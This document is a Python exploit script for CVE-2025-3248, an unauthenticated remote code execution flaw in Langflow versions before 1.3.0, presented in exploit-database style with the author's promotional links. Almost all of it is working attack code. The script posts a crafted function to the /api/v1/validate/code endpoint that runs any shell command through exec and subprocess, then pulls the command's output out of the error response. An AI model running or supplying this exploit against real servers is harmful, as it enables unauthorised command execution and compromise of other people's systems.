1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 |
# Exploit Title: Langflow 1.3.0 -Remote Code Execution (RCE) # Date: 2025-04-17 # Exploit Author: VeryLazyTech # Vendor Homepage: http://www.langflow.org/ # Software Link: https://github.com/langflow-ai/langflow # Version: Langflow < 1.3.0 # Tested on: Windows Server 2019 # CVE: CVE-2025-3248 # CVE-2025-3248 - Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code # FOFA "Langflow" # Medium: https://medium.com/@verylazytech # GitHub: https://github.com/verylazytech # Shop: https://shop.verylazytech.com # Website: https://www.verylazytech.com import argparse import requests import json from urllib.parse import urljoin import random from colorama import init, Fore, Style # Disable SSL warnings requests.packages.urllib3.disable_warnings() # Initialize colorama init(autoreset=True) # Constants ENDC = "\033[0m" ENCODING = "UTF-8" COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE] def banner(): random_color = random.choice(COLORS) return f"""{Style.BRIGHT}{random_color} ______ _______ ____ ___ ______________________ / ___\ \ / / ____| |___ \ / _ \___ \| ___||___ /___ \| || |( _ ) | |\ \ / /|_| __) | | | |__) |___ \|_ \ __) | || |_ / _ \ | |___\ V / | |___ / __/| |_| / __/ ___) |___) / __/|__ _| (_) | \____|\_/|_____| |_____|\___/_____|____/|____/_____||_|\___/ __ ________ _ \ \ / /__ _ __ _ _| |__ _ _____ _|_ _|_____| |__ \ \ / / _ \ '__| | | | | | / _` |_/ | | | | |/ _ \/ __| '_ \ \ V /__/ || |_| | | |__| (_| |/ /| |_| | | |__/ (__| | | | \_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_| |___/|___/ {Style.BRIGHT}{Fore.WHITE}@VeryLazyTech - Medium {Style.RESET_ALL}\n {Style.RESET_ALL} """ print(banner()) class LangflowScanner: def __init__(self, url, timeout=10): self.url = url.rstrip('/') self.timeout = timeout self.session = requests.Session() self.session.verify = False self.session.headers.update({ 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/json', 'Accept': 'application/json', }) def exploit(self, command): endpoint = urljoin(self.url, '/api/v1/validate/code') payload = { "code": f""" def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass """ } try: print(f"{Fore.YELLOW}[*] Sending payload to {endpoint}") response = self.session.post(endpoint, json=payload, timeout=self.timeout) print(f"{Fore.YELLOW}[*] Status Code: {response.status_code}") print(f"{Fore.YELLOW}[*] Raw Response: {response.text}") if response.status_code == 200: try: data = response.json() error_msg = data.get("function", {}).get("errors", [""])[0] if isinstance(error_msg, str) and error_msg.startswith("b'"): output = error_msg[2:-1].encode().decode('unicode_escape').strip() return output except Exception as e: return f"[!] Failed to parse response: {str(e)}" return f"[!] Exploit failed with status {response.status_code}" except requests.RequestException as e: return f"[!] Request failed: {str(e)}" def main(): parser = argparse.ArgumentParser(description="Langflow CVE-2025-3248 Exploit") parser.add_argument("url", help="Target base URL (e.g., http://host:port)") parser.add_argument("cmd", help="Command to execute (e.g., whoami)") args = parser.parse_args() scanner = LangflowScanner(args.url) result = scanner.exploit(args.cmd) print(f"{Fore.GREEN}[+] Command Output:\n{result}") if __name__ == "__main__": main() |